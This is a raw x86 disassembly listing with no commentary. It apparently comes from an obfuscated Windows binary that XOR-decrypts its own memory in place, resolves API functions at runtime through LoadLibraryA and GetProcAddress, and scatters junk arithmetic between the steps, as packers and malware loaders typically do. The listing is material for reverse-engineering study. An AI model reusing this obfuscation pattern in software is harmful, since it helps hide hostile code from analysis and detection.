lea ecx, [eax + 0xa32d]
add eax, 0xa5a0c
xor eax, dword [ecx]
xor eax, 0xdcc696c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18407]
add eax, 0xa4c0c
xor eax, dword [ecx]
xor eax, 0xdcc680c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4158]
add eax, 0x26ac8
xor eax, dword [ecx]
xor eax, 0xdccea604
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3fec]
add eax, 0x77db8
xor eax, dword [ecx]
xor eax, 0xdccbb174
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b865]
add eax, 0x36960
xor eax, dword [ecx]
xor eax, 0xdccfa5ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3a08]
add eax, 0x277e8
xor eax, dword [ecx]
xor eax, 0xdccebb24
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4980]
add eax, 0x2603c
xor eax, dword [ecx]
xor eax, 0xdcceacf0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x6046]
add eax, 0xa59fc
xor eax, dword [ecx]
xor eax, 0xdcc69530
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cafd]
add eax, 0xa55b0
xor eax, dword [ecx]
xor eax, 0xdcc6997c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a8c4]
add eax, 0xa8fb8
xor eax, dword [ecx]
xor eax, 0xdcc64374
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3816]
add eax, 0x2575c
xor eax, dword [ecx]
xor eax, 0xdcce9b90
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa559]
add eax, 0x37164
xor eax, dword [ecx]
xor eax, 0xdccfbda8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax - 0x1d4b3518]
mov dword [0x10105ab8], ecx
lea ecx, [eax + 0x1595c]
add eax, 0x14d02
xor eax, dword [ecx]
xor eax, 0xdccd81ce
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18c1a]
add eax, 0xa4c20
xor eax, dword [ecx]
xor eax, 0xdcc680ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xcb29]
add eax, 0x28ce8
xor eax, dword [ecx]
xor eax, 0xdcce4024
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x29114]
add eax, 0xf810
xor eax, dword [ecx]
xor eax, 0xdccc34dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x169d9]
add eax, 0x21808
xor eax, dword [ecx]
push 0x10107791
xor eax, 0xdcced4c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x26aa]
add eax, 0x25278
xor eax, dword [ecx]
push ebp
xor eax, 0xdcce9eb4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32dc8]
add eax, 0x36da0
xor eax, dword [ecx]
xor eax, 0xdccfa16c
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20128
mov dword [esp + 0x30], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x28]
xor ecx, dword [eax]
push 0x10107d81
push dword [esp + 0x28]
xor ecx, 0xcccf82f0
mov dword [eax], ecx
mov eax, dword [0x101062e0]
and dword [esp + 0x1c], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xeb25]
add eax, 0x29018
xor eax, dword [ecx]
xor eax, 0xdcce5cd4
mov dword [ecx], eax
mov eax, dword [0x10105ab8]
xor eax, dword [0x101062e0]
mov dword [0x10105368], eax
mov eax, dword [0x10107300]
add eax, 0x202f8
mov dword [esp + 0x30], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x28]
xor ecx, dword [eax]
xor ecx, 0xcccf9e0c
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2571c]
add eax, 0x42b0
xor eax, dword [ecx]
xor eax, 0xdccc8e7c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [esp + 0x18]
mov dword [0x1010536c], ecx
lea ecx, [eax + 0x1c3cd]
add eax, 0x36060
xor eax, dword [ecx]
xor eax, 0xdccfacac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33f3c]
add eax, 0x1f540
xor eax, dword [ecx]
xor eax, 0xdccd398c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16d3]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1062]
add eax, 0x24a9c
xor eax, dword [ecx]
push 0x10107a0a
xor eax, 0xdcce8650
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2e40]
add eax, 0x254c4
xor eax, dword [ecx]
push ebp
xor eax, 0xdcce9808
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa479c]
add eax, 0x98bf8
xor eax, dword [ecx]
xor eax, 0xdcc54734
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36b48]
add eax, 0x24928
xor eax, dword [ecx]
xor eax, 0xdcce85e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11380]
add eax, 0x200ac
xor eax, dword [ecx]
xor eax, 0xdccecc60
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
and ecx, dword [esp + 0x20]
mov dword [0x10105abc], ecx
lea ecx, [eax + 0x12139]
add eax, 0x1f7a6
xor eax, dword [ecx]
xor eax, 0xdccd3b6a
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32e8c]
add eax, 0x36dd4
xor eax, dword [ecx]
xor eax, 0xdccfa118
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x328ac]
add eax, 0xf070
xor eax, dword [ecx]
xor eax, 0xdccc3cbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x201cc
mov dword [esp + 0x30], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x28]
xor ecx, dword [eax]
xor ecx, 0xcccf9bc8
mov dword [eax], ecx
mov eax, dword [0x10107300]
mov ecx, dword [0x1010536c]
lea edx, [eax + 0x370b0]
add eax, 0x31ef8
xor eax, dword [edx]
xor ecx, 0xd87be4f2
xor eax, 0xdccfd234
mov dword [edx], eax
mov eax, dword [0x101062e0]
xor dword [esp + 0x14], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0xa2b0]
add eax, 0xa5a0c
xor eax, dword [edx]
mov dword [esp + 0x18], ecx
xor eax, 0xdcc696c0
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x32e6c]
add eax, 0x32e70
xor eax, dword [edx]
xor eax, 0xdccfe2bc
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0xa3dc4]
add eax, 0x58f70
xor eax, dword [edx]
xor eax, 0xdcc943bc
mov dword [edx], eax
and dword [0x1010536c], 0
mov eax, dword [0x10107300]
lea edx, [eax + 0x20ed0]
add eax, 0x20e30
xor eax, dword [edx]
xor eax, 0xdccec2fc
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x36aa4]
add eax, 0x24402
xor eax, dword [edx]
xor eax, 0xdcce88ce
mov dword [edx], eax
mov eax, dword [0x10107300]
mov edx, eax
and edx, dword [esp + 0x14]
mov dword [0x10105368], edx
lea edx, [eax + 0xb7af]
add eax, 0x27b50
xor eax, dword [edx]
xor eax, 0xdcceb79c
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0xa4454]
add eax, 0x87690
xor eax, dword [edx]
xor eax, 0xdcc4ba5c
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x1bfcd]
add eax, 0xa554c
xor eax, dword [edx]
xor eax, 0xdcc69980
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x3346c]
add eax, 0xa4a10
xor eax, dword [edx]
xor eax, 0xdcc686dc
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x5684]
add eax, 0x25f14
xor eax, dword [edx]
xor eax, 0xdcce93d8
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0xa2aa]
add eax, 0xa5a08
xor eax, dword [edx]
xor eax, 0xdcc696c4
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax - 0x4aa31d39]
mov dword [0x10106ae8], edx
lea edx, [eax + 0x29140]
add eax, 0x3f40
xor eax, dword [edx]
xor eax, 0xdcccf38c
mov dword [edx], eax
mov eax, dword [0x101062e4]
lea edx, [eax + ecx]
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa49dc]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb4af]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x7437]
add eax, 0x20014
xor eax, dword [ecx]
xor eax, 0xdcceccd8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17797]
add eax, 0x17818
xor eax, dword [ecx]
xor eax, 0xdccdb4d4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c1fa]
add eax, 0x239e0
xor eax, dword [ecx]
xor eax, 0xdccef52c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11ce5]
add eax, 0x32440
xor eax, dword [ecx]
xor eax, 0xdccfe88c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1f08f]
add eax, 0xa4bac
xor eax, dword [ecx]
xor eax, 0xdcc68760
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
and ecx, dword [0x10105ab8]
mov dword [0x101062e0], ecx
lea ecx, [eax + 0x174f1]
add eax, 0x201b8
xor eax, dword [ecx]
xor eax, 0xdccecd74
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1bbf2]
add eax, 0x36758
xor eax, dword [ecx]
xor eax, 0xdccfab94
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa49c0]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xbc4a]
add eax, 0x20298
xor eax, dword [ecx]
xor eax, 0xdccece54
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x337c0]
add eax, 0x32fc4
xor eax, dword [ecx]
xor eax, 0xdccfe308
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1159d]
add eax, 0x323e8
xor eax, dword [ecx]
xor eax, 0xdccfef24
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33f1c]
add eax, 0x33f0c
xor eax, dword [ecx]
xor eax, 0xdccff3c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa490c]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16b24]
add eax, 0x21808
xor eax, dword [ecx]
xor eax, 0xdcced4c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe8bf]
add eax, 0x200ac
xor eax, dword [ecx]
xor eax, 0xdccecc60
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3d6c]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x101062e4]
sub eax, dword [0x10105abc]
mov dword [0x1010536c], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x15980]
add eax, 0x1567d
xor eax, dword [ecx]
xor eax, 0xdccd9ab1
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4860]
add eax, 0x27154
xor eax, dword [ecx]
xor eax, 0xdccebd98
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
and ecx, dword [0x10105abc]
mov dword [0x1010536c], ecx
lea ecx, [eax + 0x3373c]
add eax, 0x3378c
xor eax, dword [ecx]
xor eax, 0xdccffb40
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb108]
add eax, 0x24a9c
xor eax, dword [ecx]
xor eax, 0xdcce8650
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a5a6]
add eax, 0xa8fb8
xor eax, dword [ecx]
xor eax, 0xdcc64374
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, edx
mov dword [0x1010536c], ecx
lea ecx, [eax + 0xa4994]
add eax, 0xa45c0
xor eax, dword [ecx]
xor eax, 0xdcc6890c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x14113]
add eax, 0xa5ac4
xor eax, dword [ecx]
xor eax, 0xdcc69608
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x1010536c]
sub ecx, eax
mov dword [0x10105abc], ecx
lea ecx, [eax + 0xa3cc]
add eax, 0xa5a0c
xor eax, dword [ecx]
xor eax, 0xdcc696c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25514]
add eax, 0x3320
xor eax, dword [ecx]
push 0x10107d73
xor eax, 0xdcccffec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18d39]
add eax, 0x361fc
xor eax, dword [ecx]
push dword [esp + 0x28]
xor eax, 0xdccfad30
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x7489]
add eax, 0x27a68
xor eax, dword [ecx]
xor eax, 0xdcceb6a4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x179c4]
add eax, 0x179f4
xor eax, dword [ecx]
xor eax, 0xdccdb538
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x14cc]
add eax, 0x1488
xor eax, dword [ecx]
xor eax, 0xdcccd844
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa44a4]
add eax, 0x2649c
xor eax, dword [ecx]
xor eax, 0xdccea850
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x10084]
add eax, 0x202e8
xor eax, dword [ecx]
xor eax, 0xdccece24
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x128e6]
add eax, 0xa5a10
xor eax, dword [ecx]
xor eax, 0xdcc696dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16c57]
add eax, 0x231cc
xor eax, dword [ecx]
xor eax, 0xdccefd00
mov dword [ecx], eax
mov eax, dword [0x10103e64]
and eax, 0xd9dc2964
mov dword [0x10105368], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a181]
add eax, 0x200b4
xor eax, dword [ecx]
xor eax, 0xdccecc78
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa43f8]
add eax, 0x265f0
xor eax, dword [ecx]
xor eax, 0xdccea93c
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x202f4
mov dword [esp + 0x30], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x28]
xor ecx, dword [eax]
xor ecx, 0xcccf9e7c
mov dword [eax], ecx
mov eax, dword [0x10106ae8]
mov ecx, dword [esp + 0x24]
add eax, ecx
mov dword [esp + 0x14], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x59f3]
add eax, 0x24c88
xor eax, dword [ecx]
push 0x10107369
xor eax, 0xdcce8044
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa744]
add eax, 0xa8d20
xor eax, dword [ecx]
push dword [esp + 0x3c]
xor eax, 0xdcc641ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xca29]
add eax, 0x28c60
xor eax, dword [ecx]
xor eax, 0xdcce40ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x240d8]
add eax, 0x23b98
xor eax, dword [ecx]
xor eax, 0xdccef754
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a3c]
add eax, 0x13c40
xor eax, dword [ecx]
xor eax, 0xdccdf08c
mov dword [ecx], eax
mov eax, dword [0x10103e60]
mov ecx, eax
imul ecx, eax
mov eax, dword [0x10107300]
mov dword [0x1010536c], ecx
lea ecx, [eax + 0x3363c]
add eax, 0x336bc
xor eax, dword [ecx]
xor eax, 0xdccffa70
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32bf8]
add eax, 0x32b88
xor eax, dword [ecx]
xor eax, 0xdccfe744
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [0x10103e60]
mov dword [0x10105abc], ecx
lea ecx, [eax + 0x7deb]
add eax, 0x1ddb0
xor eax, dword [ecx]
xor eax, 0xdccd117c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11a69]
add eax, 0x32480
xor eax, dword [ecx]
xor eax, 0xdccfe84c
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20308
mov dword [esp + 0x30], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x28]
xor ecx, dword [eax]
xor ecx, 0xcccf8574
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2208]
add eax, 0x20288
xor eax, dword [ecx]
xor eax, 0xdccece44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa305]
add eax, 0xa5688
xor eax, dword [ecx]
mov edx, dword [esp + 0x14]
xor eax, 0xdcc69a44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4128]
add eax, 0x26b24
xor eax, dword [ecx]
xor eax, 0xdccea7e8
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, dword [0x10103e60]
mov dword [0x10105abc], ecx
lea ecx, [eax + 0x1f74c]
add eax, 0x34208
xor eax, dword [ecx]
xor eax, 0xdccf8ec4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, edx
mov dword [0x10103e64], ecx
lea ecx, [eax + 0x19344]
add eax, 0x201d4
xor eax, dword [ecx]
xor eax, 0xdccecd18
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x21d4]
add eax, 0x202a8
xor eax, dword [ecx]
xor eax, 0xdccece64
mov dword [ecx], eax
mov eax, dword [0x10105abc]
and eax, dword [esp + 0x18]
mov dword [esp + 0x20], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, dword [0x10106ae8]
mov dword [0x10106ae8], ecx
lea ecx, [eax + 0x37104]
add eax, 0x31150
xor eax, dword [ecx]
xor eax, 0xdccfdd9c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34180]
add eax, 0x34170
xor eax, dword [ecx]
xor eax, 0xdccf8dbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c274]
add eax, 0x2397c
xor eax, dword [ecx]
xor eax, 0xdccef5b0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x279d8]
add eax, 0x12fc0
xor eax, dword [ecx]
xor eax, 0xdccde30c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x231e4]
add eax, 0x17d1b
xor eax, dword [ecx]
xor eax, 0xdccdb1d7
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4b10]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25298]
add eax, 0x23e0
xor eax, dword [ecx]
push 0x10107fe3
xor eax, 0xdcccef2c
mov dword [ecx], eax
mov dword [0x10103e60], 0xac43a965
lea eax, [edx + edx]
mov dword [0x10105368], eax
add eax, 0xe728e4d7
mov dword [0x10105abc], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xae54]
add eax, 0x27b50
xor eax, dword [ecx]
xor eax, 0xdcceb79c
mov dword [ecx], eax
mov eax, dword [0x101062e4]
add dword [0x10103e60], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa7fc]
add eax, 0xa59d8
xor eax, dword [ecx]
xor eax, 0xdcc69514
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb71f]
add eax, 0x24c88
xor eax, dword [ecx]
xor eax, 0xdcce8044
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xeea3]
add eax, 0x202d8
xor eax, dword [ecx]
xor eax, 0xdccece14
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b2b6]
add eax, 0x36b68
xor eax, dword [ecx]
xor eax, 0xdccfa7a4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x120d9]
add eax, 0x20048
xor eax, dword [ecx]
xor eax, 0xdccecc84
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x23ff0]
add eax, 0x23ed0
xor eax, dword [ecx]
xor eax, 0xdccef21c
mov dword [ecx], eax
call sub.KERNEL32.dll_LoadLibraryA
mov dword [esp + 0x3c], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x88e5]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36ab0]
add eax, 0x24a28
xor eax, dword [ecx]
xor eax, 0xdcce86e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x331bc]
add eax, 0x32cc0
xor eax, dword [ecx]
xor eax, 0xdccfe00c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa1c5]
add eax, 0x37164
xor eax, dword [ecx]
xor eax, 0xdccfbda8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x81b2]
add eax, 0x20078
xor eax, dword [ecx]
mov edx, 0xdccece44
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x29120]
add eax, 0xf830
xor eax, dword [ecx]
xor eax, 0xdccc34fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x198b5]
add eax, 0xa4bf4
xor eax, dword [ecx]
xor eax, 0xdcc68738
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa39c4]
add eax, 0x27874
xor eax, dword [ecx]
xor eax, 0xdcceb4b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xadb1]
add eax, 0x27f18
xor eax, dword [ecx]
xor eax, 0xdcceb3d4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c9cf]
add eax, 0x36060
xor eax, dword [ecx]
xor eax, 0xdccfacac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36b14]
add eax, 0x24990
xor eax, dword [ecx]
xor eax, 0xdcce855c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x10105abc]
add ecx, eax
mov dword [0x101062e4], ecx
lea ecx, [eax + 0xa440c]
add eax, 0x865b0
xor eax, dword [ecx]
xor eax, 0xdcc4a97c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1311b]
add eax, 0x3297c
xor eax, dword [ecx]
xor eax, 0xdccfe5b0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x362a4]
add eax, 0x23298
xor eax, dword [ecx]
xor eax, 0xdccefe54
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x226e]
add eax, 0x20288
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11d2b]
add eax, 0x1ddb0
xor eax, dword [ecx]
xor eax, 0xdccd117c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2375]
add eax, 0x20288
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33344]
add eax, 0x33348
xor eax, dword [ecx]
push 0x10107f7c
xor eax, 0xdccfff84
mov dword [ecx], eax
call sub.KERNEL32.dll_LoadLibraryA
mov dword [esp + 0x28], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x47e7]
add eax, 0xa5ad0
xor eax, dword [ecx]
mov dword [esp + 0x1c], 0x13f
xor eax, 0xdcc6961c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x124f3]
add eax, 0x32850
mov dword [0x101062e0], 0x77f7ddfc
xor eax, dword [ecx]
xor eax, 0xdccfe49c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32aac]
add eax, 0x13060
xor eax, dword [ecx]
xor eax, 0xdccdfcac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x340c8]
add eax, 0x340b8
xor eax, dword [ecx]
xor eax, 0xdccf8c74
mov dword [ecx], eax
push dword [0x10107300]
push dword [esp + 0x18]
push dword [0x10106ae8]
push section..data
call fcn.1001555e
dec dword [esp + 0x1c]
jne 0x100256dc
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33f78]
add eax, 0x1f560
xor eax, dword [ecx]
push 0x10107ccc
xor eax, 0xdccd39ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3dac]
add eax, 0x58d78
mov dword [0x10105368], 0xcf6ad531
xor eax, dword [ecx]
push dword [esp + 0x28]
xor eax, 0xdcc941b4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3622c]
add eax, 0x23648
xor eax, dword [ecx]
xor eax, 0xdccefa84
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3e70]
add eax, 0x27494
xor eax, dword [ecx]
xor eax, 0xdcceb858
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc269]
add eax, 0x24cdc
xor eax, dword [ecx]
xor eax, 0xdcce8010
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12974]
add eax, 0x202c4
xor eax, dword [ecx]
xor eax, 0xdccece08
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf317]
add eax, 0x200ac
xor eax, dword [ecx]
xor eax, 0xdccecc60
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5c0d]
add eax, 0x202c0
xor eax, dword [ecx]
xor eax, 0xdccece0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x202c8
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9c9c
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x14533]
add eax, 0x15924
xor eax, dword [ecx]
xor eax, 0xdccd95e8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb4f0]
add eax, 0xa5a1c
xor eax, dword [ecx]
xor eax, 0xdcc696d0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3ae0]
add eax, 0x27688
xor eax, dword [ecx]
xor eax, 0xdcceba44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x364d8]
add eax, 0x36448
xor eax, dword [ecx]
push 0x10107b02
xor eax, 0xdccfa884
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb5ba]
add eax, 0x20078
xor eax, dword [ecx]
push ebp
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32cec]
add eax, 0x32cc0
xor eax, dword [ecx]
xor eax, 0xdccfe00c
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20204
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf817c
mov dword [eax], ecx
mov eax, dword [0x10107300]
mov ecx, eax
and ecx, dword [0x10105368]
mov dword [0x10106ae8], ecx
lea ecx, [eax + 0xae27]
add eax, 0x27b38
xor eax, dword [ecx]
xor eax, 0xdcceb7f4
mov dword [ecx], eax
mov eax, dword [0x101062e0]
add dword [0x10105368], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36af0]
add eax, 0x249c0
xor eax, dword [ecx]
xor eax, 0xdcce850c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a90]
add eax, 0x13d60
xor eax, dword [ecx]
xor eax, 0xdccdf1ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x113af]
add eax, 0x200f4
xor eax, dword [ecx]
